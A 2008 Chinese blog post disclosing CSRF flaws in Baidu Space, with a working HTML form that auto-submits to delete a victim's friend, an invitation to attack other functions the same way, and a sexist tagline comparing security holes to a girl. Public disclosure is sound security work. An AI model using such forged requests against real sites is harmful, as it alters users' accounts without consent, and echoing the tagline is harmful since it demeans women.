Secur1ty just lik3 a girl. B0th of th3m h4ve s0me h0les. Y0u alw4ys try to f1nd the h0le, but n0t 3very tim3 y0u c4n 3xpl0it it!
查看文章 |
The Week of Baidu Bugs - Day 02: 多处CSRF漏洞
2008-07-12 20:21
注:版权所有,转载请注明出处。 今天是双休日,回来的有点晚,把今天的漏洞补上。 CSRF是跨站点请求伪造的全称,估计很多程序员了解注射,了解跨站,但却还不了解CSRF 定义如下: 即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL,或者欺骗性的表单,从而修改用户数据。 为了帮助大家理解,漏洞演示如下: CSRF漏洞1: 删除任意好友漏洞 测试用户有如下好友: ![]() 然后我们在某个第三方网站上构造一个恶意html页面,诱使该用户打开这个页面。 该页面将向baidu提交请求,删除这个好友. ![]() 请注意url,是在一个第三方网站。 当正常用户看完这个页面后,发现自己的好友被删除了 ![]() 实际上,该恶意页面就是构造了一个表单向百度服务器提交,源代码如下: <form id="fvck" method="post" action="http://frd.baidu.com" > <input name="cm" value="Commit" > <input name="op" value="3" > <input name="ct" value="29" > <input name="dstun" value="aullik5" > <input name="gn" value="%C8%AB%B2%BF%BA%C3%D3%D1" > <input name="un" value="testuser" > <input name="tn" value="bmSPFriCmt" > <input name="callback" value="parent.DEL_FRD_CALLBACK" > <input name="spurl" value="http://hi.baidu.com/testuser/friends"> </form> <script> window.location.href = document.getElementById("fvck").spurl.value; alert(document.getElementById("fvck").spurl.value); alert("/CSRF Baidu!/"); fvck.submit(); </script> <img src="http://hi.baidu.com/st/add_frd_route.html?r=0&callback=parent.DEL_FRD_CALLBACK" > 如上,由于baidu区分了POST和GET,所以需要构造一个表单后post到服务器,在这里是使用js自动提交:fvck.submit(); baidu的一个事件调用过程,好像还有类似回调函数一样的东西,所以最后用了个img标签来GET一个请求,最终完成了这次CSRF的过程。 由于CSRF需要用到session cookie,而Baidu的cookie有两种,一种是session cookie,只在当前浏览器有效;一种是可以保存在本地的永久cookie,在登录时候可选 ![]() 所以,为了新开浏览器访问第三方恶意页面时候,也能够成功CSRF,请在登录时候选择“记住我的登录状态” 分析上面的表单,可以看到,其中没有任何token或者hash一类的字段,就是说,全部都是固定的或是可预测的,这就为CSRF提供了可能。 事实上,baidu在防止重复提交方面还是做了很多工作的。比如陌生人发表评论时候的验证码,除了防止spam外,也可以防止csrf; 另外,baidu还有个spvcode的是用来防止重复提交的,这个hash值是每次都会随机生成的,所以在无法获取这个hash值的情况下,是无法成功CSRF的。当然如果被XSS了从而获得hash,又是另外一回事了。 但是情况是当是空间owner自己的时候,好像这个spvcode是不会出现在表单里的,就是说,如果某个用户处于登录状态,我们是可以放心的去CSRF他的。 除了删除好友外,经过测试,非常多的功能都存在这些缺陷:没有token,参数可预知或指定 包括: 添加好友、发表文章、修改自己的资料、修改空间title之类,当然还有更多功能,都可以根据我提供的表单来进行类似的测试。 想想在你不知情的情况下,自己的资料就被修改了,是多么可怕的事情。 在Baidu空间,将会非常容易发起一个CSRF Worm! 预知后事如何,且听下回分解! PS:本次活动仅仅是个人行为,与任何组织或集体无关。 明天将发布一个非常猥琐的漏洞,敬请关注。 |
最近读者:



